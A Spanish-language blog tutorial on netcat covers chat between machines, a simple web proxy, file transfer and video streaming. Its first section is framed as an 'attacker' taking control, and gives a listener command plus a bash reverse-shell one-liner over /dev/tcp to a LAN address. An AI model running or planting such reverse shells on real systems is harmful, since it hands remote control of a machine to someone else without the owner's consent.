Conectarse remotamente mediante NETCAT y mucho mas!

⌛ Lectura estimada: 4 minutos

Buenas a todos! Disculpad mi ausencia durante un mes pero he tenido varias averías con mi ADSL a causa de la huelga de Telefónica.

Así que sin enrollarme mas, voy a explicar un nuevo comando llamado netcat que ya muchos debéis conocer, pero con infinidad de opciones. Precisamente en este tutorial os voy a explicar lo que mas me sorprendió de esta orden:

1.Controlar máquina remotamente sin el tan conocido ssh

1. 1 Lo que realmente me apasionó fue entrar en una máquina remota solamente abriendo un puerto (en este caso 5000) y previamente teniendo netcat instalado, que lo podéis hacer de la siguiente forma: sudo apt-get install netcat

Bien, cuando lo tengáis instalado solo tendremos que abrir el puerto de la siguiente forma:

nc -l -p 5000 -vvv (para escuchar) /en este caso lo ejecutaremos en la máquina del atacante.
1.2 Una vez echo esto la máquina atacante estará en escucha. Ahora solo hace falta introducir el siguiente comando en la otra máquina (en mi caso se llama maquinanormal)

/bin/bash -i > /dev/tcp/192.168.1.5/5000 0<&1 2>&1


*Donde la ip tiene que ser la tuya.

Una vez echo estos dos pasos, volvemos a nuestra máquina y veremos que tenemos total acceso a la otra máquina (maquinanormal)

 

2. Usar netcat como chat entre dos máquinas

2.1. Lo único que hay que hacer es introducir el siguiente comando en la maquina remota:

nc -lp 5000

2.2 Y después en tu máquina ponemos lo siguiente:

nc 192.168.1.5(la_ip_remota) 5000(puerto)

 

3. Crear un proxy web para un sitio web en particular (por ejemplo, google.com)

Los comandos siguientes crean un proxypipe (canalización con nombre), y utilizan nc para redirigir todas TCP entrante / 5000 conexiones a http://www.google.com través del tubo bidireccional.

Con esta configuración, puede acceder a Google por ir a http://127.0.0.1:5000.

3.1 $ mkfifo proxypipe

 

3.2 $ while true; do nc -l 5000 0<proxypipe | nc www.google.com 80 1> proxypipe; done


4. Transferir archivos a través de netcat

4.1 Bien, ahora vamos a aprender como transferir archivos muy rápidamente con el uso de nc. Digo muy rápidamente porque netcat no utiliza ningún tipo de cifrado para enviar tus documentos, isos… por una parte es un inconveniente pero por otro una gran ventaja si no te importa compartir una iso en la qual no hay nada confidencial en ella.
– Lo primero es poner el equipo receptor en modo escucha para recibir el fichero.
 $ nc -l -p 10000 > prueba01 (el nombre podéis poner cualquiera)
– Una vez esta en modo escucha vamos a enviar un archivo desde la otra máquina.
$ nc 192.168.1.5 10000 < testfile
(por ejemplo el de la imagen)
Una vez echo esto ya tendremos el archivo en la otra máquina:

 

 

5. Transmitir un archivo de vídeo de un servidor para que el cliente lo mire en streaming usando mplayer

5.1 Podría decir que este es mi punto favorito ya que me parece realmente increíble transmitir un vídeo en streaming con este simple comando.

Lo que tenemos que hacer son dos pasos bastante sencillos:

– En el servidor donde esta el vídeo introducimos el siguiente comando.

$ cat video.avi | nc -l 5000 (donde el vídeo puede tener el formato que quieras y el puerto también)

– Y para visualizar el vídeo, en este caso en el ordenador del cliente utilizaríamos el siguiente comando.

$ nc 192.168.1.4 5000 | mplayer -vo x11 -cache 3000 – (donde la ip es la del servidor).

Deja un comentario

Su dirección de correo electrónico no será publicada. Campos necesarios *